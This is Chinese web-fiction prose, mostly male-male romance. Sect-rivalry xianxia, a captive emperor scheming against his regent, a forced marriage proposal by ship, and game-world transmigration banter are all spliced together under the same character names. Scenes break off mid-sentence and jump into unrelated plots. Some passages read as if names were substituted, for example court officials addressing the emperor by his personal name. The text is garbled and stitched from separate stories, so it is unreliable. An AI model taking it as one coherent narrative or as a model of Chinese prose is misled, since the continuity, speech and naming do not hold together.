赵离玄一咬牙一跺脚,也硬着头皮跟进去了。 虽然最后也成功从赤晶秘境里活着回来了。 但比起姜沉从秘境出来的云淡风轻、利落无损,赵离玄却是浑身血污、狼狈不堪,活像是在泥水里滚了三天三夜。 尽管嘴角还努力抽搐,想挤出一抹“不过如此”的冷笑,但是个人都能看出来他绝对是在死撑! 姜师弟如今境界,已远甩赵师兄太多。 这般惨烈对比,着实大快人心。 然而众人却还没来得及好好嘲笑赵离玄一番,就在下一回赤晶秘境入口处,看到姜沉先对他出了手。 “师兄,”姜沉一把将赵离玄重重摁在了地上,声音依旧清冷,没什么起伏,“何必勉强。” 说着,指尖在赵离玄胸口轻轻一按。 就听赵离玄“嗷”地一声龇牙咧嘴、惨叫出声。 “你旧伤未愈,灵脉滞涩,强行下境无异于自寻死路。”姜沉语气平淡地陈述,手下却又加了一分力。 “要你管嗷嗷嗷!住手住手,狗、狗姜沉,你松手啊,嗷嗷!!!” 赵离玄疼得眼泪都快飙出来,可仍不肯服软。从牙缝里挤出嘶哑的声音:“你少管闲事你是不是怕了。” 姜沉森冷看着他。 那日,素来以德报怨的小师弟似乎也终于耗尽了最后一丝耐心。 他不再多言,直接祭出法绳,将挣扎不休的赵离玄结实捆成了粽子。又随手抛出个一叶障目的法宝,将人打包丢在了某个无人角落。 直到晚上从秘境中安然出来,才把人放了。 之后几次,皆是如此。 直把赵离玄气得日常骂骂咧咧。 然而今时不同往日,姜沉的境界实在一日千里。 赵离玄不服气又挑战了好几回,结果也只从勉强过上几招,迅速沦落到连对方衣角都摸不到。 “可恶啊啊啊!!!” 赵离玄毕竟也曾是天之骄子,如今却遭遇这种全方位碾压,自然无能狂怒。 不过那些在众人看来,也不过又惨又好笑罢了 毕竟,就连赵师兄挽尊的话术,最近也一路滑坡了。 从最初愤恨的“你给老子等着,下次绝对要你好看!”,到后来酸溜溜的“哼,算你走运!”,再到彻底摆烂,怪日光太大晃了眼,怪下雪太冷灵气不畅,怪衣服穿得太多影响发挥。 甚至最后烂都不摆了,阴阳一通输出后溜之大吉。 皇帝一旦精神,作妖能力便直线上升。 手虽残了,腿子又没残,果断跑去踹宫门砰砰砰。 “开门,开门!给我开门,我要见姜沉!” “我是皇帝,皇宫是我家,凭什么不让我自由出入?姜沉有本事关着我,姜沉有本事开门昂,别躲在点绛宫不出来我知道他不忙!” “你们听好了!一个个的给我回去给姜沉学话,原封不动,一个字一个字地学!” “我、要、选、秀!” “我身为一国之君,要履行皇家职责。是时候娶三宫六院七十二妃,为皇家开枝散叶了!” “去学给姜沉听!再让我独守深宫,我迟早给他一顶帽子戴。生一窝小皇子气死他,看他头上绿云飘荡、他急不急?” “我生一窝鸳鸯眼的!” 门外一众守军死士 宫内纷传,姜沉谋逆皇帝凄惨。 他们来这守卫之前,也都道是皇帝与摄政王是水火不容、你死我活。 谁承想,这一天天的?小话本都不敢这么写! 唉,在宫中当差真的难。 赵离玄倒也不想这般语出惊人。 也清楚姜沉是心里难过才丢着他不管,也心疼,也想哄。可百般书信礼物都没回复,连面都见不到怎么哄?总得刷点存在感吧。 以史为鉴。史书上有个妃子,本来皇帝还挺喜欢她的,结果被打入冷宫后就被忘了,一下过去好多年。 等快死了皇帝终于想起她了,两人执手相看泪眼哭得不行但为时已晚。 赵离玄总不能让自己也走上这种老路吧。 何况按照拂陵的话说,他失忆前曾是个“继位十载,政绩斐然”的皇帝,那多少应该还算很有一点根基和本事的。 实在不行 他就只能图谋有朝一日夺回皇权,反过来将姜沉金屋藏娇了!!! 赵离玄觉得自己这想法颇为危险,却又颇为精妙。 想着,一双鸳鸯目看向窗外湛蓝碧空、暖暖金阳,素晴高远。 以及寝宫小花园一圈漂亮的雕花石墙。 嗯,似乎也不是特别高。 正好我近来锻炼体魄强健,手腕也快好了!! 说干就干。叶瑾棠人呢? 卫留夷闻言,茫然一愣。 他疯了一个月,不管不顾急着来见他,都忘了横在两人之间的这个人。 直到此刻回想起当日,叶瑾棠红润的脸颊的与赵离玄惨白冰冷的唇,胸口起伏。 “小他去了恒城。” “已去一月有余,南越王封了他做恒城太守。” “以后也都在恒城,不再回郢都。” 他斟词酌句,声音干涩,小心翼翼观察赵离玄眼中细微的神色变换。 恒城是乌恒边境一座小城,十分偏远。叶瑾棠治好病的当天,他便已依照约定将他送走,片刻没有耽搁。 这件事他不敢有半点欺骗阿玄。 何况他对小棠,也并不是他想的那般他们只是年少之谊。如若以后阿玄让他们不再见面,他也可以以后干脆不再 赵离玄眼中平静无澜,不见半分动容。 “我从未答应过要给他我的血髓。” “不想给,也不愿给。是你们当日剖我血肉硬生抢走。” “让他还我。” 赵离玄陌生地看着他,目光平静。 卫留夷脸上血色一点点褪去:“阿玄” “我与乌恒侯,素来无冤无仇。” “乌恒侯却先损我髓脉,又伤我护卫。” “可你若有半分诚意,难道不该先去向叶瑾棠要回我的髓珠双手奉还,再来找我说话?” 赵离玄那日亲手在小花园的墙角垒起花圃,言之凿凿“我打算在此处种些个看樱桃,赏景怡情”,干得热火朝天。 然,赏景怡情是假。 天子长身玉立,踩在这新垒的花圃上指尖差不多刚好够得到墙头才是真! 在赵离玄的记忆中,“皇帝爬墙跑”这件事虽正史没见记载,但小话本里一直有这个走向。 好似是叫做“皇帝爬墙带|球跑,权臣追夫乱葬岗”系列。 可惜这个系列他从没有翻开过。谁让他除了画画最不擅长的便是蹴鞠,一看见“球”字就头大。 何况爬墙跑就爬墙跑了,为什么一定还要带个球? 如此玩物丧志你不跑谁跑,带点金银财宝不香吗。 赵深更是有点儿讶异了宫渡良宵虽还年少,暂且还没有《渡血剑》中的神功与开挂的主角光环,却也都是山庄青年弟子中的翘楚。 双双上阵,却在那青年面前如此不堪一击? 这么年轻便有如此高深修为,这人谁啊?书中角色吗?但脸孔却很大众,难不成是什么混进来的强力NPC? “枫叶山庄自诩名门正道,呵” 那青年眯着眼睛,向浑身发软的钱厚禄走过去,口中振振有词,“门中却养着这猪狗杂碎,着实可叹可笑!也好,既你们自己不管,在下今日便替天行道,代你们山庄清、理、门、户!” 替天行道?清理门户? 赵深只觉得这台词有些耳熟。 眼见着青年走过他面眼前,周身气场引得长发飘散,颈子上露出一块青色玉环,清楚篆刻着“天道轮回”四个大字。 原来,是天道教徒! 第 49 章 第 49 章 洛京城原是大夏旧都,因靠近苗疆之地,如今仍旧是中原与苗疆互市交易的繁华要地。 又正是盛春夜市之时,满街遍是汉、苗、水、彝服饰的商贾,卖玉器毛皮、生丝香料、特色小吃的摊贩琳琅满目。 赵深牵着匹白马,马上坐着姜沉,路过一整排临街对河的繁华灯市楼阁,光影喧哗中行得很慢。 “执剑长老,如此实在不妥,不该叫你替我牵马。” 但凡路过之人,都大概会以为他是个主子,身前拉马嚼的是个下仆吧?甚至还有极少出门的官家小姐,望着马上那青衣英逸的挺拔青年缓缓出了神。 可事实却是牵马人是个含着金汤匙长大的赵门公子,而他这个骑马的却是个见不得人的阶下囚。 “姜前辈~你别总低头看我啊!” 赵深仰起那俊朗的脸,满眼的笑意:“难得出来一趟,抬头看景~~!还有,以后别叫我执剑长老了,听着怪别扭的,还是叫我离玄吧!” “离玄?”很快又是一年。 姜沉十七岁。所以,何必心虚? 他不过是去洛州小住欣赏盛夏江南风光,洛南栀也不过是尽地主之谊。他既孑然一身无牵无挂,天下哪处不可去,谁又管得着? 然而,随着洛州大船更加近映入眼帘,有哪里……不太对。 就,为什么。 洛州来的船,会是挂满了喜庆的红色帆? 又为何会是张灯结彩、敲锣打鼓、十里红妆,异常招摇的模样?就连大大的“洛州”二字旗帜,都是双喜纹样的金底织边。 赵离玄:“……” 不不不不肯定搞错了,这船绝不可能是洛南栀派来接他的。应该只是哪个洛州巨富迎亲,恰好路过而已。 然而。 “洛州府恭迎月华城主——!洛州府恭迎月华城主——!” 锣鼓喧天,礼乐齐鸣。 江上细雨雾气很大,隐约能见船头一青年身姿挺拔,爽朗的声音传得很远:“阿玄,我来接你回去成亲啦!” 回去,成亲。 不。 赵离玄不理解。 不明白,想不通。 身边李钩铃亦是震惊得脸色变了几变,眼里满是不敢置信:“穆神医,你、你此去洛州,竟是已与洛州少主定、定下了婚约?” 当然没有! 虽然在他们大夏,自打数百年前某个情种皇帝娶了男人后,上至王侯将相下至黎民百姓就都可以男人娶男人、女人娶女人了。 虽然可以,却无论是民间还是官家,都很少会有人这么做! 赵离玄也就只是想找个人谈场掏心掏肺的恋爱而已,绝对发誓没有草率定终身的意思,更没有明示暗示过要洛南栀跟他成亲。 所以,到底发生了什么? 赵离玄完全无法解释眼前的一切—— 非要说的话,如今洛州疲敝、主少兵弱,周遭许多诸侯割据早就虎视眈眈,处处落井下石,恨不得早日将那块江南最肥美的土地瓜分鲸吞。 险象环伺、一片艰难寡助之中,是只有他月华城肯雪中送炭,成了洛南栀能抓到的唯一救命稻草。 但即便如此,大美人也大可不必孤注一掷,拿出嫁娶之礼来留他吧? 还是说他在信中的用词还是不够保守,态度不够云淡风轻,让洛州那边误会了? 赵离玄承认他对洛南栀并非全无所图。常常被茶馆说书先生编排的“月华城主赵离玄舔狗之心路人皆知”也是事实。 但他又不是无脑舔,更不喜欢强求!!! 就算洛南栀只愿交朋友,他也会为搏美人一笑帮他的,大可不必硬着头皮以身相许。 还是说。 洛南栀他……金玉其外,脑子其实不正常? 赵离玄实不愿这般揣测画中的清雅美人,可但凡是个正常人,都不能干出这么个丧心病狂的事来吧? 因其修为卓绝、性情沉稳,俨然已成了棠棣仙门年轻一代弟子中的砥柱中流。 这一年里,宗门内外诸多事务,都可见他雷厉风行的手段: 有内门师兄虐杀灵兽、修炼邪功叛出宗门,是他亲自带队千里追缉,于魔修聚集的黑沼泽将其截住,当场废其修为,押回宗门受审。 西山古墓有千年尸王作乱,侵扰百姓,也是他只身深入墓穴,一夜荡平妖氛,提着重伤垂死的尸王头颅复命,周身煞气三日不散。 山下家族仗势欺人、强夺灵脉,亦是他持剑上门,一人一剑压得全族乖乖认错赔款,并立誓永不再犯。 虽是手段多少略显狠厉无情 但放眼望去,各家仙门青年一代的佼佼者,这类狠角色也不少见。 何况姜沉又身负灭门之恨,养成这般冷厉作风似乎也顺理成章。 但怎么说呢 棠棣仙门玄字辈弟子里,有位名叫周玄乐的。 灵根平平,修炼摸鱼,却独辟蹊径,靠写《棠棣轶闻小报》混得风生水起。 有些事吧,往往只有被白纸黑字、一板一眼地记录下来,并列放在一起时,才会让人品出那么点的 微妙。 譬如,最新一期小报第一条: 【姜师弟白日于黑风谷追击魔修,剑出如龙,煞气盈野,尽诛七人,尸骨无存。其状如地狱修罗,闻者胆寒。】 第二条: 【今晚夜课毕,赵师兄于演武场口出妄言。姜师弟徒手将其制服,挂于梧桐树东南枝上,围观者众。】 两件都是铁打的事实。奚行检这一日,本过得很是不爽。 前阵子因水患严重,百姓家家户户忙于生计,大理寺这边状告案子反而少了不少。奚行检闲不住,便替好友徐子真处理一些吏部文书。 这不处理还好,一处理气死了! 今年洛水冬患乃是十年难遇的大涝,几省要道全部淹毁、救灾物资运送艰难。 好在朝廷早有防患、调度有方,加之各地州府依旧努力聚结志愿兵民、不畏重重险阻以各种法子救人安顿,终于大水已大半褪去,举国上下并未有太过重大之损失。 大家都放了心。面对如此天灾能处理妥善,其中不乏百姓齐心协力、官员尽力设法、朝中许多重臣数月住在宫中不回家上传下达、共襄对策的功劳。 可是! 好容易灾情才过去,便有人开始冷嘲热讽? 一帮擅长写诗词歌赋“以文而仕”的言官们,各种弹劾奏章洋洋洒洒的来了。 将数月间忙于治水、辛苦操劳献计献策的官员几乎被弹劾了一遍,什么“区区水患小事竟至损失惨重实乃一群饭桶”,什么“本该一月治之事拖延三月实则大夏之哀”,简直欲加之罪何患无辞。 且全是空中楼阁、靠一己瞎想胡说八道、张口就来! 是,别人一群饭桶! 你们有本事,你们怎么不去治水? 听闻水患严重时,这群言官正抱着团躲在南边暖和的地方赵饮游乐,两耳不闻窗外事,还写了一大堆花花绿绿的诗。 如今别人辛苦把水患治好了,他们急着跳出来污蔑挑刺了?? 气死他了。 徐子真:“奚卿,奚卿淡定,也并犯不着与这些人置气。” 奚行检:“我偏要回这信!还要迫他们再给我回复!看他们还有什么脸?” “这群蠹虫,有一点文采便自恃高人一等,实则两面三刀、虚伪自私、面目可憎。简直朽木不可雕,粪土之墙不可杇。都道山中强梁可恶,我看这种腐儒文贼更是祸国至极!” “相鼠有齿,人而无耻。既然无耻不死何为?” “人不如鼠,你人等既坏又蠢不如速死!” 大夏官场名景,奚卿手书千字骂人。 奚卿毕竟是锦裕二年的状元。言辞犀利不留情面,若是这些官员的八十岁老母看得懂字怕也是要当场羞愧打死逆子。 如此骂完,奚行检依旧气了一天。 唯一的好消息便是姜沉病了,甚好,逆臣自有天谴。 只是不知赵离玄如何? 自打那日有了赵离玄朱批的折子后,隔三差五的也一直有。 那么多也确不像是伪造了。 只是谁又能解释一下,既然赵离玄都能批奏章了,为何还不早日回朝面见群臣、让大家安心? 事有蹊跷,这几日奚行检借着自己身为九卿之一、也还勉强能算是位高权重的身份,议事之后借故不走在楚微宫附近转悠。 姜沉乌衣卫依旧守备森严。 奚行俭之前数月有好几次这样转,都被恭恭敬敬“请”了回去,事后各种被姜沉阴阳怪气敲打。 不过这几日特别冷,乌衣卫也提不劲儿来,姜沉又病着不管事。 不枉他不死心过来守株待兔,竟被他逮到了爬墙的皇帝! 活的!!! 好端端的,无病无灾! 且前后相隔,不过两个时辰。 可就这么连在一起有人才在外面当了地狱修罗,回门派后便只是把人挂树。 合着半点没把外面的杀心带回来啊? 更不要说,前阵子还有细心读者说姜沉新年典礼穿的那件领口绣着【金蕊寒梅】的【墨色暗云纹锦袍】眼熟。 周玄乐就去查了一下。 结果还真查到两年前的小报,嚯! 那锦袍竟是当年两人关系尚可时,赵离玄送的?他竟肯穿? 呃。 或许是俩都忘了这茬吧? 写了那么久轶闻小报,周玄乐还有一个苦楚,就是他描写赵离玄时,常是明明想写“他恶毒的脸上露出扭曲的笑意”,落笔时却总会写成“他恶毒的俊脸上露出邪魅的笑意”。 赵师兄别的不说,样貌是真没得黑。 很快,今日份小报也写完,周玄乐照例检查。 今日轶闻倒是逗趣赵师兄用刚学会的“魔物显形法”招惹姜师弟,结果惨遭反弹,自己长出了毛耳朵和尾巴。 把赵师兄气得眼眶都红了,眼泪硬是憋着没掉下来。最后就那么憋屈地跑了,让众人好一通乐。 轶闻写到这就完了。数个时辰后。 赵离玄后悔,他不该不顾风度与少主掐架。 明明心里清楚那人是个纨绔口无遮拦,何必与他斤斤计较? 傍晚,他给大将军定制的木工礼物,被送去了将军府。 附带一封信笺,双管齐下。 果然如他所料,刚送到不久,将军府就来了消息,路老将军请月华城主过去一叙。 赵离玄出门。 正撞见邵霄凌正在他门前徘徊,一脸烦躁。 “是我错了,行了吧?!” 赵离玄: 唉。许是他年来各种莫名恶意遭受得多了,近来对人的要求,也是越来越低。 甚至此刻可以自我安慰若人人如这邵霄凌这般,所有嫌弃写在脸上,倒也至少算是光明正大。 总好过以前一些人,心里不想要他,却又为利用他而各种假意温存。 赵离玄虽不愿悲观,但偶尔也会想 是不是真的他就活该就是死无葬身之地,就活该被嫌弃到死。永远都是痴心妄想,永远也不会有人真的觉得他好,会想对他笑、过来抱抱他。 唉。 不行不行,别瞎想。说不定下次就走运了呢? 毕竟而只要还活着就可能还有戏。万一呢? 邵霄凌:“你,又拽我袖子!” “喂” “你、你不生气啦?” “你干嘛不理我?你有没有在听我说话?” 赵离玄没有。因为他一门心思赶去老将军府,拿到兵权早日与洛南栀相见才是正经,说不定下一个就特别好呢。 最后被划掉的一小段,是姜沉的反应。 之所以被划掉是因为若如实描述,姜师弟的反应放在这里太奇怪了。 周玄乐咬笔沉吟。 再想想,似乎一向都是如此每次收拾完赵师兄,众人哄笑时,姜师兄都并不参与。 但也不走开。 往往是只就盯着。 默不作声,就死死盯着赵离玄。黑瞳深沉晦暗,叫人看不懂是什么情绪。 “嗯,不觉得亲切了许多么?” 纵他这么说,姜沉仍是一脸不安。赵深怕他看漏夜市光景,于是干脆走走停停,这指指那指指,伸着手努力叫他去看去瞧。 “前辈你看~~药铺、制衣、赌坊、酒楼,这街上真的什么门店都有~” “哇!猪头肉、五香干、芙蓉樱草糕和水晶丸子,好香啊要不要来试试?” “哎呀那边好多衣饰华丽的姑娘!原来是出售胭脂水粉的铺子,真怪不得!” 姜慎行走在二人后面,乖乖拿着“男主”给的一大沓银票跟着付钱。 赵编对大魔头绝对是实力宠! 就跟那些《霸道总裁爱上我》里写的一样一样的!一路上但凡大魔头落眼超过五秒的,那人回头就丢给姜慎行一个“买买买”的眼神。 很快,马镫两边一边一个大筐就全满了,姜慎行心想真是不撒娇的魔头也好命,憋屈屈地从袖子里拿出撂豆(一种油炸豆)吃。 第 50 章 第 50 章 PC的生存之道,重点只在“低调”二字。 因此,在没有和赵编胜利会师的日子里,姜慎行最多也就是仗着自己“游戏总监”熟悉地图的优势,在后山暗戳戳挖点宝贝(主要是挖点好吃的),让日子好过些而已。 其他时间,秉承一个“怂”字,什么出山庄送信任务、去城里买药任务、女弟子的秋波暗送等等,统统玄辞拒绝! 生怕一不小心就从普通NPC变成了剧情NPC,分分钟拉起死亡FLAG。 在姜慎行看来,赵编小时候肯定是家教太严、游戏玩少了,更完全不知网游世界“套路深”。 一玄一行,明显花式作死地大肆触发剧情、立满FLAG,看得姜慎行在旁全程抖抖抖。 你看你看路遇漂亮的女弟子在墙角抹眼泪,居然敢不要命上前询问?! 还大咧咧接下了“帮助女弟子寻回丢失的荷包”支线任务,完全不怕“寻荷包”任务会带出女弟子和魔教男的“相爱相杀”,就此引发正道同魔教的腥风血雨。 刚骂完宫渡良宵,看到藏宝阁闪现黑衣飞贼就敢大喊“徒儿们追!”完全不怕“追飞贼”任务会带出“宝藏阴谋”的后续,就此引发江湖各派的你争我夺。 走过算命的身边(枫叶山庄常年存在算命的NPC,姜慎行现在觉得这个设定很瞎),被那老瞎子扯着叨叨“魔剑现世、江湖大乱”,居然还很同情地掏钱给他,完全不怕预玄成真,引发整个天下的一片生灵涂炭。 赵编,你真是行走在剃刀边缘的世外高人!赵离玄素来坚信勤能补拙。 哪怕是离阵磨枪,也得练!!! 这次棠棣仙门虽然指派五人出赛,但是来观摩的师兄弟却有百人之多。 这百双眼睛可都盯着他们的一举一动呢。 于是赵离玄可逮住机会了,马上叉腰拉起师兄的架势对姜沉指点江山: “这招‘燎原百斩’起手式慢了半拍,重来!” “配合我‘烈焰囚笼’的时机,要卡在我灵力爆发的顶点,听不懂吗?” “你的防御结界呢?弱也要开啊!等着我替你挡刀吗?” 围观弟子忍不住窃窃:“这练的是道侣之间的同心战术吧?但他二人又不是道侣” 本就是两个暴力火灵根,直接无脑炸过去不就完了? 但赵离玄偏不依不饶。 姜沉但凡稍有失误或跟不上他的节奏,他的嘴就又像抹了毒一样: 什么“你是不是虚”,“御剑加个我都御不动你也太弱了吧”,“技能全学攻击了防御真就一点不会是吧怪不得能中魔沼”“脆皮有点脆皮的自觉行不行?到时候可别指望我舍命救你啊!”。 简直没完没了。 成果却是可喜的。人生太过复杂,活久了啥玩意都能见着。 赵离玄无论怎么想,明明自己都才是那绝世大冤种—— 卫留夷嘴上倒是会说“跟我回家”,实则分明至今偏心小表弟。回头找他都全程没一句认错,反而疯狂怨恨他“诈死”骗他。 实属令人发指,完全是他单方面被迫害。 可被洛州府张灯结彩这么一搞,反倒成了他疑似与前任藕断丝连时就已找好下家。一时心虚得他都不敢看卫留夷此刻的表情。 船近了,船头青年的模样终于清晰起来。 只见他身着一身张扬的玄色披风,英姿飒爽,虽无论怎么看都并不是画像上的洛南栀的模样,却也是一双狭目流光溢彩、万中无一犀利晴朗。 俊朗逼人,在赵离玄见过的不少美男中,排的上顶尖。 “乌恒侯,好久不见。” 两船相会,青年冲卫留夷挑衅一笑,随即一跃而起落在甲板。 身后云消雾散,晴空露出一丝璀璨阳光,飞舞的披风被覆上一层金光,展扬的旗上,大大一个“邵”字—— 哦。 赵离玄知道他是谁了。 “洛川双璧”的另一位,洛州少主邵霄凌。 “阿铃将军,麻烦让一让,我要接我未来夫君回家。” 邵霄凌抬着下巴,朝着红衣李钩铃一笑。 笑得极为倨傲,却是尊贵又灿烂,身后初升骄阳一时都相形失色。 随即拨开李钩铃,一脸玩味地走到赵离玄面前,挑眉瞧了瞧他怀中抱着的人:“未来夫君,这人是谁?快放下来,当心累着手。” 赵离玄:“……” 他很确定,寄去洛州的信,就只写给了洛南栀一人。 每次回信,落款处也都分明是洛南栀的都督印章,信纸上沾满山栀香气。两人书信往来之中,几乎不曾提及少主邵霄凌。 他又怎么会突然间,成了这毫无关系的邵霄凌未来夫君? 李钩铃只恨自己慢了一步。 早知邵凌霄会明目张胆来抢人,她就早早靠岸了,如今也只能尽量阻拦:“洛州侯,月华城主乃是我乌恒贵客。可否请少主稍等数日,三日后,我亲自督船将他送去洛州。” “贵客,稍等数日?” 邵凌霄嚣张大笑:“阿玲将军是否没听清?我此番是来接亲的,接的可是我洛州侯府新过门的夫婿!抢亲乃大夏重罪,犹记之前随州侯无法无天抢人妻女,可是被罚得削爵除位、连累祖上蒙羞!” “总不至于,乌恒侯如今也想要劫人夫婿,以身试法?” 凭姜沉那逆天的悟性,短短三日,两人竟真将一套极其复杂的合击技练得纯熟无比,攻防转换、灵力衔接宛若一体,默契得活像并肩作战了三十年的老道侣。 赵离玄对此那是相当得意,尾巴要翘到天上去。 特训一结束,就迫不及待地拉着姜沉去“耀武扬威”,凑到其他门派同样最为优秀的弟子面前贴脸开大: “等着吧,这次的十颗天垣晶核,我们棠棣仙门包圆了!你们一颗都别想有!” 棠棣仙门自家弟子都没眼看。二月十五月色明媚,奚行检牵着皇帝一路避开巡逻,躲到了不远的旧事馆中。 也是无法。 姜沉军权在握、乌衣卫耳目又无处不在,就连堂堂天子都被逼得爬墙才能出来。 奚行检也不愿打草惊蛇。 “果不其然,赵离玄是被姜沉幽禁于楚微宫中。” “犯上作乱逆臣贼子,简直胆大包天!赵离玄请放心,那姜青瞿虽把持了禁军、绿柳营与乌衣卫,但京城尚有夏侯将军坐镇,我们亦有师律在北疆的梧桐军” “臣等只恨自己无用。之前姜沉把持超纲局势未明,夏侯将军不允我等轻举妄动。因此今日虽见着赵离玄,奚某竟无法立即带赵离玄离开!” “因此还要委屈赵离玄再多忍两日,赵离玄恕罪,臣等该死!” 赵离玄:“爱卿无须担心,姜沉无意谋逆。” “此事说来话长” 奚行检一愣。 还未及说什么,却听见一阵脚步响动。按说史馆大半夜的不该有人,可今日偏偏有人。 奚行检一把捞过皇帝便躲在藏书后面。 好在,来人只是是两个品级不高的史官,来寻白天不小心落下的锁匙。一边寻着,一边发挥史官必备的职业素养八卦。 王右史:“唉,要变天啦,我说也干脆别找去了,咱们哥们还是赶紧辞官跑路吧。赵离玄他应该是真的没了,听闻灵柩都被姜沉草草扔在了郁鸢皇贵妃陵里,京城不少百姓还自发去哭陵,我二叔公也跟着去了。” 奚行检 赵离玄 大理寺卿斗胆摸了摸身边帝王,尚有余温人气。 赵离玄也摸了摸不知道是不是鬼的自己。 张左史:“此乃谣传,纯属谣传。右史你有所不知,下官亲妹夫乃是乌衣卫头领,妹夫亲口告诉下官赵离玄不但活得好好的,还与姜沉是那种那种那种的关系,前几日甚至白日宣淫!叫得整个楚微宫都听见!” 王右史:“????” 奚行检:“???????” “这!张、张左史,您可是记言的史官,万万不能信口开河!” “王右史,你倒是仔细想啊,那姜沉虽是男子,可样貌风雅本就寻常人等望尘莫及,便是被男人喜欢也不足为奇。” “更何况,赵离玄乃是圣明天子,若非沉迷姜沉美色,又为何迟迟不肯纳妃生子,又为何纵容姜沉独揽军权以致大权旁落?” “哎哎哎,左史此言差矣!赵离玄宠爱姜沉,那是因赵离玄想要收复失地姜沉便二话不说就去边关打仗,国库需要银两姜沉就能弄来,一切和赵离玄过不去的人姜沉一马当先全给收拾了。 “这么些年,既帮赵离玄办成了大事又替赵离玄背全了骂名,皇帝如何不喜、如何不宠?” “在我等眼里是只手遮天的权臣,在赵离玄眼里却是不二‘忠臣’!” “因此才会一时大意,唉。” “嘘。小声点,被乌衣卫听见咱哥俩就惨了。” “不怕不怕,咱又不是什么高官显贵,乌衣卫懒得理咱俩。不过说起那些高官,哎奚大人他真是不怕死。” “是啊,赵离玄生死不明,多是见风使舵之人。也就奚卿几人敢屡屡与姜沉叫板,我看姜沉迟早有一天咔嚓了他,刚正易折啊!” “未必,奚卿身后好歹还有夏侯老将军撑腰。” “如今朝堂之上,也就老将军是唯一尚能制衡姜沉之人” 海量信息。 忠臣。姜沉。制衡。 赵离玄只恨自己未带纸笔。今晚果然出来对了,这趟旧事馆之行收获颇丰! 却不想,与奚卿靠着一堆藏书,不慎碰掉了两本。 “谁?!” 王右史:“救命,有、有刺客!” 张左史:“啊有鬼!有鬼呀!” 张左史:“这深宫禁院哪来的刺客?王右史怕是小话本看多了!” 王右史:“张左史还说有鬼呢,哪里有鬼?” 然而大半夜的两人双双这一喊,还是半个皇宫都听见了。 乌衣卫与巡逻御林军纷纷赶来。 赵离玄 古人云,读了那么多史书,依然过不好这一生。 谁能给他一个傀儡皇帝半夜爬墙被抓现行的前车之鉴? 祖宗哎!真就一点都不藏拙啊! 这不是明摆着让所有人联合起来防备你俩吗?! 结果回去的路上,赵离玄还没个消停。 又开始挑剔姜沉的武器穷酸。梧桐军将领们暗忖:兵法如此诡谲狡诈令人捉摸不透,明白了,他实则是个有能军师! 如此厉害,确有可能坑得了那姜沉。 事已至此,大部分人已心服口服。 唯有梧桐营二把手先锋将军钱奎仍旧不服,此人身高两米有余,如一堵墙般体型极其彪悍,挥两把重斧,常年冲锋陷阵无人可挡,战斗力洛州数一数二。 但他这般身形,叫人与他一对一比武就过于欺负人了。 于是他约了月华城主骑射场见。 “我骑马尚可,箭术不精。” 钱奎置若罔闻,一把重弓递过,粗犷道:“哎,城主,来都来了!” 这般明显刁难,弄得邵霄凌差点都想上去帮赵离玄解围了,不过一个犹豫,就见赵离玄已接过长弓:“好吧,我尽力试试看。” 江湖传言是月华城主会医,按说医者一般不会武。 旁边一群军士个个兴奋异常,摩拳擦掌围观看好戏。虽说那马上的月华城主倒也生得高挑挺拔,但那毕竟是重弓,军中大半将士都未必拉的开 正想着,就见那城主在他们看好戏的目光中面不改色,默默对准靶心,搭箭、拉弓。 咻 马儿在奔驰。而那羽箭破空而出,直直凌厉正中红心。 周遭一下静得吓人。 最惊愕的其实不是钱奎,而是邵霄凌。原本这辈子他就只知道好友洛南栀文武双全,万万没想到,这月华城主竟然也? 赵离玄目光平静,马上从箭筒里又抽出第二支箭。 咻 这一次更是直直将上一只羽箭从中劈断,再度射中红心。 “好!!!!” 周围爆发出一阵叫好声,钱奎的眼珠子则已经都要瞪出来了。 赵离玄又拿出了第三支箭。 咻 这次,箭矢直接从前两次射透的箭孔穿了过去。 何等神射!梧桐军营一时沸腾,震天欢呼。就连邵霄凌回过神来,都发现自己居然不知何时紧张得心脏砰砰跳。 当夜,赵离玄一脸肉痛地从珍宝阁出来。 一柄形制古朴、却蕴含着极强火灵之力的长弓被扔给姜沉,剑身隐约有流光闪烁,一看便知价值连城。 “喏,暂时暂时借你用几天啊!可不是送你的!” “总之你给我用仔细点!要是敢磕了碰了,我扒了你的皮!” 隔日,他又觉得也得对自己好一点,就又去珍宝阁搞了一把九曜流光扇。 那扇子更是了得,扇骨用万年仙玉雕成,展开时流光溢彩,能引动周天火灵。 他先是摇着扇子在姜沉面前晃了三圈,又跑到同门中间显摆了半天,最后特意绕到竞争对手住的别院门口炫耀,生怕别人不知他新得了宝贝。 这厢姜慎行还在立志,什么时候一定要给赵深来一发深入的“惊!RPG游戏这些雷千万别踩!转发给更多人看到!”的讲授科普,那厢只听身边红衣青年幽幽道:“姜总监,如果你也喜欢姜前辈,那咱们公平竞争吧?” “!!!”姜慎行险些吓尿。 “不不不赵编你肯定在开玩笑!” 折煞我了!别说小的我是直男了,就算是弯的,又怎么敢和男主抢男人? “敢绿男主,那可是必死FLAG好吧?就算不死也要切丁丁!赵编我之所以讨好姜前辈,完全是因为他是剧情里唯一比男主还要至高无上的存在女主角男啊(误)!我只是单纯地想抱你俩的大腿而已啊!” 我真的啥也不会跟你抢!赵编! 汉子都是你的,妹子都是你的,宝物都是你的,运气都是你的,我只是单纯想活而已!只求一根粗大腿而已!《 》 第 51 章【VIP】 第 51 章 第 51 章 呃,我也想知道我内力和修为在哪哟!真心的。 赵深暗叹,还有我那死不瞑目的医术哟 “赵离玄”本是个武功与医毒兼修的不世奇才,如今却变得啥啥都不会,赵深也在愁将来该如何跟其他人解释这一切。 却只听姜沉叹了一声:“半年前与青羯教一战,执剑长老的爱徒宫渡身受重伤。我曾听闻长老自损了多年功力修为,将真气输给了那孩子续命。” 呃宫渡? 赵深陡然听得一个万分熟悉的名字。 难不成,是“宫渡良宵”的那个宫渡?大母神另一部作品《渡血剑》的男主? 他、他是我徒儿?天垣试炼圆满落寞,师兄弟的关系却并未从此缓和。 顶多算有些微的进步回到门派后,赵离玄不再天天背后灵一样执着于盯梢了,姜沉也不用总在秘境门口把他揪出来挂树上。 但两人日常依旧别扭、互相不咋搭理。 互动少到周玄乐都挠头! 真的。一个月前—— 洛州州府安沐城。 邵霄凌:“休想,绝无可能!” 这乱世之中,天下皆苦。各地百姓因此很是擅长有命就享、有钱就花,及时苦中作乐。 茶馆生意持续兴隆,日常上演各种民间乱七八糟的说书话本,大家有钱捧个钱场没钱捧个人场。 其中颇受欢迎的故事,便是《月华城主风流史》。 据说,这月华城主赵离玄虽毁了容,倒是一点没影响他搞七搞八的多情性子。 上至华都神殿大司祭、南越王顾苏枋,下到各州侯爵世子,天下青年俊才人人跟他有一腿。 